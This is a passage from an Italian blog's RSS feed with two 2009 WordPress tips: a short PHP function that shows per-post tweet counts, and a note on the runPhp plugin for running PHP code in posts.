			<wfw:commentRss>http://www.pcexpert-blog.com/2009/12/tre-utili-hacks-da-apportare-al-nostro-blog-wordpress.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress: Visualizzare il numero di Tweets di ogni post e pagina del nostro blog</title>
		<link>http://www.pcexpert-blog.com/2009/12/wordpress-visualizzare-il-numero-di-tweets-di-ogni-post-e-pagina-del-nostro-blog.html</link>
		<comments>http://www.pcexpert-blog.com/2009/12/wordpress-visualizzare-il-numero-di-tweets-di-ogni-post-e-pagina-del-nostro-blog.html#comments</comments>
		<pubDate>Sun, 20 Dec 2009 19:13:01 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1548</guid>
		<description><![CDATA[<p></p>
<p>Grazie a questo interessante script saremo in grado di visualizzare il numero di Tweets di ogni post e pagina del nostro blog WordPress. Affinchè esso funzioni correttamente, inseriamo il</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/twitter-wordpress.jpg"><img class="aligncenter size-full wp-image-1549" title="twitter-wordpress" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/twitter-wordpress.jpg" alt="twitter-wordpress" width="251" height="224" /></a></p>
<p>Grazie a questo interessante script saremo in grado di visualizzare il numero di Tweets di ogni post e pagina del nostro blog WordPress. Affinchè esso funzioni correttamente, inseriamo il seguente frammento di codice all&#8217;interno del file<strong> functions.php</strong> presente all&#8217;interno della cartella del tema in uso nel blog. Per esempio nel mio caso esso si troverà al seguente percorso: &#8220;<strong>wp-content/themes/<a href="http://www.pcexpert-blog.com/">PcExpert</a>/functions.php</strong>&#8220;.</p>
<pre class="brush: php; title: ; notranslate">
function numero_tweets($url) {
	$content = file_get_contents(&quot;http://api.tweetmeme.com/url_info?url=&quot;.$url);
	$element = new SimpleXmlElement($content);
	$tweets = $element-&gt;story-&gt;url_count;
 	echo $tweets.&quot; tweets!&quot;;
}
</pre>
<p>Inseriamo invece il seguente codice all&#8217;interno della pagina in cui vogliamo visualizzare il contatore. Poichè nell&#8217;esempio l&#8217;obbiettivo era quello di visualizzare il numero di tweets per ogni post, esso andrà inserito all&#8217;interno del file &#8220;<strong>single.php</strong>&#8220;.</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php numero_tweets($post-&gt;permalink); ?&gt;
</pre>
<p><strong><span style="color: #ff0000;">NOTA:</span></strong> Per garantire il corretto funzionamento dello script in questione occore aver abilitato l&#8217;estensione <strong>SimpleXML PHP</strong>. Verificare quindi i parametri di default del proprio web server.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2009/12/wordpress-visualizzare-il-numero-di-tweets-di-ogni-post-e-pagina-del-nostro-blog.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Permettere l&#8217;esecuzione di codice PHP all&#8217;interno dei vari post di un blog WordPress</title>
		<link>http://www.pcexpert-blog.com/2009/12/permettere-lesecuzione-di-codice-php-allinterno-dei-vari-post-di-un-blog-wordpress.html</link>
		<comments>http://www.pcexpert-blog.com/2009/12/permettere-lesecuzione-di-codice-php-allinterno-dei-vari-post-di-un-blog-wordpress.html#comments</comments>
		<pubDate>Sat, 19 Dec 2009 15:03:28 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[downlaod]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1542</guid>
		<description><![CDATA[<p></p>
<p>Come sicuramente sapranno tutti i developers, WordPress non permette l&#8217;esecuzione di codice php all&#8217;interno dell&#8217; editor o nei vari widgets. Tuttavia esiste un plugin chiamato runPhp che permette di</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/ilovephp.gif"><img class="aligncenter size-medium wp-image-1546" title="ilovephp" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/ilovephp-300x218.gif" alt="ilovephp" width="300" height="218" /></a></p>
<p>Come sicuramente sapranno tutti i developers, WordPress non permette l&#8217;esecuzione di codice php all&#8217;interno dell&#8217; editor o nei vari widgets. Tuttavia esiste un plugin chiamato <strong>runPhp</strong> che permette di risolvere questo fastidioso problema. Tra le tante features interessanti, il plugin è in grado di stabilire, tramite un&#8217;opportuna e intuitiva pagina di configurazione dei permessi, quali utenti possono eseguire il codice php inserito per evitare eventuali problemi di sicurezza. Altra importante nota di merito è la possibilità di abilitare l&#8217;esecuzione di codice anche all&#8217;interno dei feeds.</p>
<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=295"><span style="color: #ff0000;"><strong>Download</strong></span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2009/12/permettere-lesecuzione-di-codice-php-allinterno-dei-vari-post-di-un-blog-wordpress.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

